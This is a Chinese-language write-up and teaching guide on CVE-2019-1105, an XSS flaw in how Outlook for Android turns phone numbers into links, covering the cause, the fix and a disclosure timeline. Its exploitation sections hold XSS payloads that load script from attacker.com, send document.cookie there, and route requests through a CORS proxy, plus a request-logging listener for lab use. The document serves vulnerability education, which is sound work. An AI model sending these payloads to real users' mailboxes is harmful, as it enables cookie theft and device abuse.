挖洞经验 | 发现Outlook安卓版本APP跨站漏洞CVE-2019-1105
字数 1330 2025-08-18 11:38:53

Outlook安卓版跨站漏洞(CVE-2019-1105)深入分析与利用教学

漏洞概述

CVE-2019-1105是Outlook安卓版应用程序中存在的一个跨站脚本(XSS)漏洞,允许攻击者通过特制电子邮件在受害者设备上执行任意JavaScript代码。该漏洞由CyberArk研究团队发现并于2019年报告给微软。

漏洞利用原理

核心问题

漏洞存在于Outlook安卓版的邮件渲染机制中,具体在emailRenderer-android.js文件的_linkifyPhoneNumbers方法实现上。

技术细节

  1. 电话号码链接转换机制

    • Outlook使用Linkify类自动将文本中的电话号码转换为可点击链接
    • 该功能通过正则表达式匹配7位数字序列实现
    • 匹配成功后,数字会被转换为tel:协议的链接
  2. 漏洞成因

    • 转换过程中存在未正确转义的问题
    • 攻击者可构造特殊格式的数字序列,绕过转义机制
    • 导致恶意JavaScript代码被直接执行
  3. 关键代码流程

    function _linkifyPhoneNumbers() {
        // 创建匹配7位数字的正则表达式
        var regex = ...; 
    
        // 定义替换函数
        function replacer(match) {
            // 解析电话号码
            // 生成链接
            // 计数器递增
            // 返回未转义的内容 ← 漏洞点
        }
    
        // 对消息内容应用正则替换
        messageContent.replace(regex, replacer);
    }
    

漏洞利用方法

基本利用

发送包含以下格式的恶意邮件:

1234567<script>alert('XSS')</script>

当受害者查看邮件时,Outlook会:

  1. 匹配到"1234567"数字序列
  2. 调用replacer函数进行处理
  3. 由于未正确转义,后续的script标签会被浏览器解析执行

高级利用 - HTML5 API

利用现代浏览器的HTML5 API可以实现更强大的攻击:

  1. 设备震动攻击

    <script>navigator.vibrate(5000);</script>
    

    使受害者设备持续震动5秒

  2. 远程脚本加载

    <script src="http://attacker.com/malicious.js"></script>
    
  3. XMLHttpRequest数据外泄

    <script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.com/steal?data=' + document.cookie, true);
    xhr.send();
    </script>
    

绕过CORS限制

由于浏览器同源策略限制,直接XHR请求可能被阻止。可通过以下方法绕过:

  1. 使用CORS代理

    var proxyUrl = 'https://cors-anywhere.herokuapp.com/';
    var targetUrl = 'http://attacker.com/collect';
    
    var xhr = new XMLHttpRequest();
    xhr.open('GET', proxyUrl + targetUrl, true);
    xhr.send();
    
  2. 利用Burp Collaborator

    • 设置Collaborator作为拦截代理
    • 通过XSS触发请求到Collaborator
    • 从Collaborator日志中获取受害者信息

漏洞修复与防御

微软在2019年6月的补丁中修复了此漏洞。修复措施包括:

  1. _linkifyPhoneNumbers函数中的输出进行严格转义
  2. 增加内容安全策略(CSP)限制
  3. 改进HTML sanitizer逻辑

教学实验建议

注意:以下实验仅限授权环境测试,切勿用于非法用途。

实验1:基础XSS验证

  1. 搭建测试环境:安装易受攻击版本的Outlook安卓版(2019年6月前版本)
  2. 构造测试邮件:
    1234567<script>alert(document.domain)</script>
    
  3. 发送到测试账户并观察弹窗

实验2:高级利用演示

  1. 准备恶意服务器:

    # 简易HTTP服务器记录请求
    from http.server import BaseHTTPRequestHandler, HTTPServer
    
    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            print(f"Received request: {self.path}")
            self.send_response(200)
            self.end_headers()
    
    HTTPServer(('0.0.0.0', 8000), Handler).serve_forever()
    
  2. 构造攻击邮件:

    1234567<script>
    fetch('http://your-server:8000/leak?ua=' + navigator.userAgent)
    </script>
    
  3. 观察服务器日志中的User-Agent信息

漏洞报告时间线

  • 2019.1.24: 漏洞上报MSRC
  • 2019.1.24: MSRC确认接收
  • 2019.1.29: MSRC成功复现
  • 2019.2.20: MSRC内部修复评估
  • 2019.6.20: 补丁发布,分配CVE-2019-1105

总结与启示

  1. 混合应用(Web+Native)需特别注意上下文安全边界
  2. 自动内容转换功能需严格验证和转义
  3. 移动端XSS影响可能比传统Web更严重(可访问设备API)
  4. 安全开发应遵循最小化功能原则,谨慎实现自动化处理

此漏洞展示了即使是大厂成熟产品也可能存在基础安全缺陷,强调了代码审计和安全开发实践的重要性。

Outlook安卓版跨站漏洞(CVE-2019-1105)深入分析与利用教学 漏洞概述 CVE-2019-1105是Outlook安卓版应用程序中存在的一个跨站脚本(XSS)漏洞,允许攻击者通过特制电子邮件在受害者设备上执行任意JavaScript代码。该漏洞由CyberArk研究团队发现并于2019年报告给微软。 漏洞利用原理 核心问题 漏洞存在于Outlook安卓版的邮件渲染机制中,具体在 emailRenderer-android.js 文件的 _linkifyPhoneNumbers 方法实现上。 技术细节 电话号码链接转换机制 : Outlook使用 Linkify 类自动将文本中的电话号码转换为可点击链接 该功能通过正则表达式匹配7位数字序列实现 匹配成功后,数字会被转换为 tel: 协议的链接 漏洞成因 : 转换过程中存在未正确转义的问题 攻击者可构造特殊格式的数字序列,绕过转义机制 导致恶意JavaScript代码被直接执行 关键代码流程 : 漏洞利用方法 基本利用 发送包含以下格式的恶意邮件: 当受害者查看邮件时,Outlook会: 匹配到"1234567"数字序列 调用replacer函数进行处理 由于未正确转义,后续的script标签会被浏览器解析执行 高级利用 - HTML5 API 利用现代浏览器的HTML5 API可以实现更强大的攻击: 设备震动攻击 : 使受害者设备持续震动5秒 远程脚本加载 : XMLHttpRequest数据外泄 : 绕过CORS限制 由于浏览器同源策略限制,直接XHR请求可能被阻止。可通过以下方法绕过: 使用CORS代理 : 利用Burp Collaborator : 设置Collaborator作为拦截代理 通过XSS触发请求到Collaborator 从Collaborator日志中获取受害者信息 漏洞修复与防御 微软在2019年6月的补丁中修复了此漏洞。修复措施包括: 对 _linkifyPhoneNumbers 函数中的输出进行严格转义 增加内容安全策略(CSP)限制 改进HTML sanitizer逻辑 教学实验建议 注意 :以下实验仅限授权环境测试,切勿用于非法用途。 实验1:基础XSS验证 搭建测试环境:安装易受攻击版本的Outlook安卓版(2019年6月前版本) 构造测试邮件: 发送到测试账户并观察弹窗 实验2:高级利用演示 准备恶意服务器: 构造攻击邮件: 观察服务器日志中的User-Agent信息 漏洞报告时间线 2019.1.24: 漏洞上报MSRC 2019.1.24: MSRC确认接收 2019.1.29: MSRC成功复现 2019.2.20: MSRC内部修复评估 2019.6.20: 补丁发布,分配CVE-2019-1105 总结与启示 混合应用(Web+Native)需特别注意上下文安全边界 自动内容转换功能需严格验证和转义 移动端XSS影响可能比传统Web更严重(可访问设备API) 安全开发应遵循最小化功能原则,谨慎实现自动化处理 此漏洞展示了即使是大厂成熟产品也可能存在基础安全缺陷,强调了代码审计和安全开发实践的重要性。